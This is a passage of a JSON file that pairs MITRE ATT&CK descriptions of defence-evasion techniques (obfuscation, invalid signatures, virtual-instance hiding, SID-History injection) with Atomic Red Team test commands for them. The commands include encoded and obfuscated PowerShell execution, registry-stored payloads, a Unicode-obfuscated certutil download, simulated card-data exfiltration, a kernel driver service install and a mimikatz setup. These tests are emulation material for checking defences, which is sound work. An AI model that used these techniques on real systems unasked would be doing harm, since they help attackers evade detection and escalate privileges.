- "source_name": "Linux/Cdorked.A We Live Security Analysis",
- "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
- "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017."
- },
- {
- "source_name": "Carbon Black Obfuscation Sept 2016",
- "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
- "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018."
- },
- {
- "source_name": "PaloAlto EncodedCommand March 2017",
- "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
- "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/267.html",
- "source_name": "capec",
- "external_id": "CAPEC-267"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",
- "modified": "2022-05-05T05:08:05.584Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Obfuscated Files or Information",
- "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Creation",
- "File: File Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Host Forensic Analysis",
- "Signature-based Detection",
- "Host Intrusion Prevention Systems",
- "Application Control",
- "Log Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1027"
- },
- "atomic_tests": [
- {
- "name": "Execute base64-encoded PowerShell",
- "auto_generated_guid": "a50d5a97-2531-499e-a1de-5544c74432c6",
- "description": "Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.\n\nUpon successful execution, powershell will execute an encoded command and stdout default is \"Write-Host \"Hey, Atomic!\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "powershell_command": {
- "description": "PowerShell command to encode",
- "type": "string",
- "default": "Write-Host \"Hey, Atomic!\""
- }
- },
- "executor": {
- "command": "$OriginalCommand = '#{powershell_command}'\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\n$EncodedCommand\npowershell.exe -EncodedCommand $EncodedCommand\n",
- "name": "powershell"
- }
- },
- {
- "name": "Execute base64-encoded PowerShell from Windows Registry",
- "auto_generated_guid": "450e7218-7915-4be4-8b9b-464a49eafcec",
- "description": "Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.\n\nUpon successful execution, powershell will execute encoded command and read/write from the registry.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "registry_key_storage": {
- "description": "Windows Registry Key to store code",
- "type": "string",
- "default": "HKCU:Software\\Microsoft\\Windows\\CurrentVersion"
- },
- "powershell_command": {
- "description": "PowerShell command to encode",
- "type": "string",
- "default": "Write-Host \"Hey, Atomic!\""
- },
- "registry_entry_storage": {
- "description": "Windows Registry entry to store code under key",
- "type": "string",
- "default": "Debug"
- }
- },
- "executor": {
- "command": "$OriginalCommand = '#{powershell_command}'\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\n$EncodedCommand\n\nSet-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand\npowershell.exe -Command \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))\"\n",
- "cleanup_command": "Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Execution from Compressed File",
- "auto_generated_guid": "f8c8a909-5f29-49ac-9244-413936ce6d1f",
- "description": "Mimic execution of compressed executable. When successfully executed, calculator.exe will open.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url_path": {
- "description": "url to download Exe",
- "type": "url",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "T1027.exe must exist on disk at $env:temp\\temp_T1027.zip\\T1027.exe\n",
- "prereq_command": "if (Test-Path $env:temp\\temp_T1027.zip\\T1027.exe) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"#{url_path}\" -OutFile \"$env:temp\\T1027.zip\"\nExpand-Archive -path \"$env:temp\\T1027.zip\" -DestinationPath \"$env:temp\\temp_T1027.zip\\\" -Force\n"
- }
- ],
- "executor": {
- "command": "\"%temp%\\temp_T1027.zip\\T1027.exe\"\n",
- "cleanup_command": "taskkill /f /im calculator.exe >nul 2>nul\nrmdir /S /Q %temp%\\temp_T1027.zip >nul 2>nul\ndel /Q \"%temp%\\T1027.zip\" >nul 2>nul\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "DLP Evasion via Sensitive Data in VBA Macro over email",
- "auto_generated_guid": "129edb75-d7b8-42cd-a8ba-1f3db64ec4ad",
- "description": "Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "Path of the XLSM file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm"
- },
- "sender": {
- "description": "sender email",
- "type": "string",
- "default": "test@corp.com"
- },
- "receiver": {
- "description": "receiver email",
- "type": "string",
- "default": "test@corp.com"
- },
- "smtp_server": {
- "description": "SMTP Server IP Address",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "executor": {
- "command": "Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments #{input_file} -SmtpServer #{smtp_server}\n",
- "name": "powershell"
- }
- },
- {
- "name": "DLP Evasion via Sensitive Data in VBA Macro over HTTP",
- "auto_generated_guid": "e2d85e66-cb66-4ed7-93b1-833fc56c9319",
- "description": "Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "Path of the XLSM file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm"
- },
- "ip_address": {
- "description": "Destination IP address",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "executor": {
- "command": "Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Obfuscated Command in PowerShell",
- "auto_generated_guid": "8b3f4ed6-077b-4bdd-891c-2d237f19410f",
- "description": "This is an obfuscated PowerShell command which when executed prints \"Hello, from PowerShell!\". Example is from the 2021 Threat Detection Report by Red Canary.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING') ; $pz2Sb0 =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert') ; &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') ( (&(\"{1}{2}{0}\"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) )\n",
- "name": "powershell"
- }
- },
- {
- "name": "Obfuscated Command Line using special Unicode characters",
- "auto_generated_guid": "e68b945c-52d0-4dd9-a5e8-d173d70c448f",
- "description": "This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. \u1da0) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).\nReference:\nhttps://wietze.github.io/blog/windows-command-line-obfuscation\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "local_path": {
- "description": "Local path/filename to save the dowloaded file to",
- "type": "path",
- "default": "Atomic-license.txt"
- }
- },
- "executor": {
- "steps": "1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.\n\n\n certutil \u2014\u0af9u\u0af0rl\u08b0ca\u08e2c\u0defhe \u2013\u202espli\u0605t\u202e\u202d \u2212\"\u0d4f\u1da0\u0d78\" #{remote_file} #{local_path}\n\n\n2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.\n",
- "name": "manual"
- }
- }
- ]
- },
- "T1036.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
- "type": "attack-pattern",
- "created": "2020-02-10T19:49:46.752Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1036.001",
- "url": "https://attack.mitre.org/techniques/T1036/001"
- },
- {
- "source_name": "Threatexpress MetaTwin 2017",
- "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/",
- "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019."
- }
- ],
- "modified": "2020-02-10T19:52:47.724Z",
- "name": "Invalid Code Signature",
- "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1564.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Johann Rehberger",
- "Janantha Marasinghe",
- "Menachem Shafran, XM Cyber"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
- "type": "attack-pattern",
- "created": "2020-06-29T15:36:41.535Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.006",
- "url": "https://attack.mitre.org/techniques/T1564/006"
- },
- {
- "source_name": "SingHealth Breach Jan 2019",
- "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx",
- "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."
- },
- {
- "source_name": "Sophos Ragnar May 2020",
- "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
- "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
- },
- {
- "source_name": "Shadowbunny VM Defense Evasion",
- "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/",
- "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."
- }
- ],
- "modified": "2021-10-14T22:21:59.708Z",
- "name": "Run Virtual Instance",
- "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent
, -ignore-reboot
), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless
).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"
).\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Creation",
- "Image: Image Metadata",
- "Windows Registry: Windows Registry Key Modification",
- "Service: Service Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1564.006"
- },
- "atomic_tests": [
- {
- "name": "Register Portable Virtualbox",
- "auto_generated_guid": "c59f246a-34f8-4e4d-9276-c295ef9ba0dd",
- "description": "ransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_file_path": {
- "description": "Path to the MSI file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi"
- },
- "cab_file_path": {
- "description": "Path to the CAB file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1564.006\\bin\\common.cab"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "MSI file must exist on disk at specified location (#{msi_file_path})\n",
- "prereq_command": "if (Test-Path #{msi_file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/Virtualbox_52.msi\" -OutFile \"#{msi_file_path}\"\n"
- },
- {
- "description": "CAB file must exist on disk at specified location (#{cab_file_path})\n",
- "prereq_command": "if (Test-Path #{cab_file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{cab_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/common.cab\" -OutFile \"#{cab_file_path}\" \n"
- },
- {
- "description": "Old version of Virtualbox must be installed\n",
- "prereq_command": "if (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "msiexec /i #{msi_file_path} /qn\n"
- }
- ],
- "executor": {
- "command": "\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\" /reregserver\nregsvr32 /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nrundll32 \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxRT.dll,RTR3Init\"\nsc create VBoxDRV binpath= \"C:\\Program Files\\Oracle\\VirtualBox\\drivers\\VboxDrv.sys\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\nsc start VBoxDRV\n",
- "cleanup_command": "sc stop VBoxDRV\nsc delete VBoxDRV\nregsvr32 /u /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nmsiexec /x #{msi_file_path} /qn\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Create and start VirtualBox virtual machine",
- "auto_generated_guid": "88b81702-a1c0-49a9-95b2-2dd53d755767",
- "description": "Create a simple VirtualBox VM and start up the machine\nCleanup command stops and deletes the newly created VM and associated files\nhttps://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm\nhttps://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\nhttps://attack.mitre.org/techniques/T1564/006/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "vm_name": {
- "description": "Name of the new virtual machine",
- "type": "string",
- "default": "Atomic VM"
- },
- "virtualbox_exe": {
- "description": "Path to the VirtualBox executable",
- "type": "path",
- "default": "C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe"
- },
- "vboxmanage_exe": {
- "description": "Path to the executable for VBoxManage, the command-line interface to VirtualBox",
- "type": "path",
- "default": "C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe"
- },
- "virtualbox_download": {
- "description": "URL for the current installer for the Windows version of VirtualBox, as of March 2022",
- "type": "url",
- "default": "https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe"
- },
- "virtualbox_installer": {
- "description": "Executable for the Virtualbox installer",
- "type": "string",
- "default": "VirtualBox-6.1.32-149290-Win.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "VirtualBox must exist on disk at specified locations (#{virtualbox_exe})\n",
- "prereq_command": "if (Test-Path \"#{virtualbox_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"#{virtualbox_download}\",\"$env:TEMP\\#{virtualbox_installer}\")\nstart-process -FilePath \"$env:TEMP\\#{virtualbox_installer}\" -ArgumentList \"--silent\" -Wait\n"
- },
- {
- "description": "VBoxManage must exist on disk at specified locations (#{vboxmanage_exe})\n",
- "prereq_command": "if (Test-Path \"#{vboxmanage_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"#{virtualbox_download}\",\"$env:TEMP\\#{virtualbox_installer}\")\nstart-process -FilePath \"$env:TEMP\\#{virtualbox_installer}\" -ArgumentList \"--silent\" -Wait\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "\"#{vboxmanage_exe}\" createvm --name \"#{vm_name}\" --register\n\"#{vboxmanage_exe}\" modifyvm \"#{vm_name}\" --firmware efi\n\"#{vboxmanage_exe}\" startvm \"#{vm_name}\"\n",
- "cleanup_command": "\"#{vboxmanage_exe}\" controlvm \"#{vm_name}\" poweroff\n\"#{vboxmanage_exe}\" unregistervm \"#{vm_name}\" --delete"
- }
- },
- {
- "name": "Create and start Hyper-V virtual machine",
- "auto_generated_guid": "fb8d4d7e-f5a4-481c-8867-febf13f8b6d3",
- "description": "Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine\nCleanup command stops and deletes the newly created VM\nhttps://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v\nhttps://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/\nhttps://attack.mitre.org/techniques/T1564/006/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "vm_name": {
- "description": "Name of the new virtual machine",
- "type": "string",
- "default": "Atomic VM"
- }
- },
- "dependencies": [
- {
- "description": "Hyper-V must be enabled on the system\nChecks whether Hyper-V is enabled. If not, enables Hyper-V and forces a required restart\n",
- "prereq_command": "if ((Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V).State = \"Enabled\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All -Force\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$VM = \"#{vm_name}\"\nNew-VM -Name $VM -Generation 2\nSet-VMFirmware $VM -EnableSecureBoot Off\nStart-VM $VM",
- "cleanup_command": "Stop-VM $VM -Force\nRemove-VM $VM -Force"
- }
- }
- ]
- },
- "T1134.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Alain Homewood, Insomnia Security",
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
- "type": "attack-pattern",
- "created": "2020-02-18T18:34:49.414Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.005",
- "url": "https://attack.mitre.org/techniques/T1134/005"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
- "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
- "source_name": "Microsoft SID"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms679833.aspx",
- "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
- "source_name": "Microsoft SID-History Attribute"
- },
- {
- "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
- "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
- "source_name": "Microsoft Well Known SIDs Jun 2017"
- },
- {
- "url": "https://technet.microsoft.com/library/ee617241.aspx",
- "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
- "source_name": "Microsoft Get-ADUser"
- },
- {
- "url": "https://adsecurity.org/?p=1772",
- "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
- "source_name": "AdSecurity SID History Sept 2015"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms677982.aspx",
- "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
- "source_name": "Microsoft DsAddSidHistory"
- }
- ],
- "modified": "2021-02-09T15:49:58.414Z",
- "name": "Access Token Manipulation: SID-History Injection",
- "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser
cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory
function. (Citation: Microsoft DsAddSidHistory)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Modification",
- "User Account: User Account Metadata",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1134.005"
- },
- "atomic_tests": [
- {
- "name": "Injection SID-History with mimikatz",
- "auto_generated_guid": "6bef32e5-9456-4072-8f14-35566fb85401",
- "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sid_to_inject": {
- "description": "SID to inject into sidhistory",
- "type": "string",
- "default": "S-1-5-21-1004336348-1177238915-682003330-1134"
- },
- "sam_account_name": {
- "description": "Target account to modify",
- "type": "string",
- "default": "$env:username"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
